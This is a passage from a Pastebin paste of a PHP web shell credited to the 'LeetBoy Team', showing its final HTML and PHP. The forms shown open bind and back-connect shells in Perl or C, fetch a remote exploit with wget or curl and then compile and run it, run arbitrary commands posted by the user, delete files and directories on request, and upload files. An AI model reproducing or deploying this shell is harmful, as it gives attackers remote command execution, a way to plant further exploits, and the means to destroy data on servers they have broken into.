  2615. <input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>">
  2616. </td>
  2617. </tr>
  2618. <tr>
  2619. <td>Password</td>
  2620. <td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td>
  2621. </tr>
  2622. <tr>
  2623. <td>Use</td>
  2624. <td style="text-align:justify">
  2625. <p>
  2626. <select class="inputz" size="1" name="use">
  2627. <option value="Perl">Perl</option>
  2628. <option value="C">C</option>
  2629. </select>
  2630. <input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px">
  2631. </td>
  2632. </tr>
  2633. </table>
  2634. </form>
  2635. </td>
  2636. <td>
  2637. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  2638. <table>
  2639. <tr>
  2640. <td>IP</td>
  2641. <td>
  2642. <input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>">
  2643. </td>
  2644. </tr>
  2645. <tr>
  2646. <td>Port</td>
  2647. <td>
  2648. <input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>">
  2649. </td>
  2650. </tr>
  2651. <tr>
  2652. <td>Use</td>
  2653. <td style="text-align:justify">
  2654. <p>
  2655. <select size="1" class="inputz" name="use">
  2656. <option value="Perl">Perl</option>
  2657. <option value="C">C</option>
  2658. </select>
  2659. <input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px">
  2660. </td>
  2661. </tr>
  2662. </table>
  2663. </form>
  2664. </td>
  2665. <td>
  2666. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  2667. <table>
  2668. <tr>
  2669. <td>url</td>
  2670. <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td>
  2671. </tr>
  2672. <tr>
  2673. <td>cmd</td>
  2674. <td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
  2675. </tr>
  2676. <tr>
  2677. <td>
  2678. <select size="1" class="inputz" name="pilihan">
  2679. <option value="wwget">wget</option>
  2680. <option value="wlynx">lynx</option>
  2681. <option value="wfread">fread</option>
  2682. <option value="wfetch">fetch</option>
  2683. <option value="wlinks">links</option>
  2684. <option value="wget">GET</option>
  2685. <option value="wcurl">curl</option>
  2686. </select>
  2687. </td>
  2688. <td colspan="2">
  2689. <input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;">
  2690. </td>
  2691. </tr>
  2692. </table>
  2693. </form>
  2694. </td>
  2695. </tr>
  2696. </table>
  2697. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  2698. <?php }
  2699.  
  2700. elseif(isset($_GET['x']) && ($_GET['x'] == 'shell'))
  2701. {
  2702. ?>
  2703. <form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
  2704. <table class="cmdbox">
  2705. <tr>
  2706. <td colspan="2">
  2707. <textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
  2708. </td>
  2709. </tr>
  2710. <tr>
  2711. <td colspan="2"><?php echo $prompt; ?>
  2712. <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" />
  2713. <input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" />
  2714. </td>
  2715. </tr>
  2716. </table>
  2717. </form> <?php
  2718. }
  2719. else
  2720. {
  2721. if(isset($_GET['delete']) && ($_GET['delete'] != ""))
  2722. {
  2723. $file = $_GET['delete']; @unlink($file);
  2724. }
  2725. elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != ""))
  2726. {
  2727. @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
  2728. }
  2729. elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != ""))
  2730. {
  2731. $path = $pwd.$_GET['mkdir']; @mkdir($path);
  2732. }
  2733. $buff = showdir($pwd,$prompt);
  2734. echo $buff;
  2735. }
  2736. ?>
  2737. <center><br><br><br><br>
  2738. <div class="text3d" style="position: relative; bottom: 0px; left: 0px; width: 100%; font-size:40px; font-family:serif; hight:100px;">2013.. Coded by BlacKLeeT | LeetBoy Team </div></br>
  2739. <br>
  2740. </center>
  2741. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  2742. <table class="tabnet" style="width:320px;padding:0 1px;">
  2743. <tr>
  2744. <th colspan="2">Quick File Upload</th>
  2745. </tr>
  2746. <tr>
  2747. <td colspan="2">
  2748. <p style="text-align:center;">
  2749. <input style="color:#000000;" type="file" name="file" />
  2750. <input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:80px;">
  2751. </p>
  2752. </td>
  2753. </tr>
  2754. <tr>
  2755. <td colspan="2">
  2756. <input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" />
  2757. </td>
  2758. </tr>
  2759. </table>
  2760. </form>
  2761. </div>
  2762. </body>
  2763. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!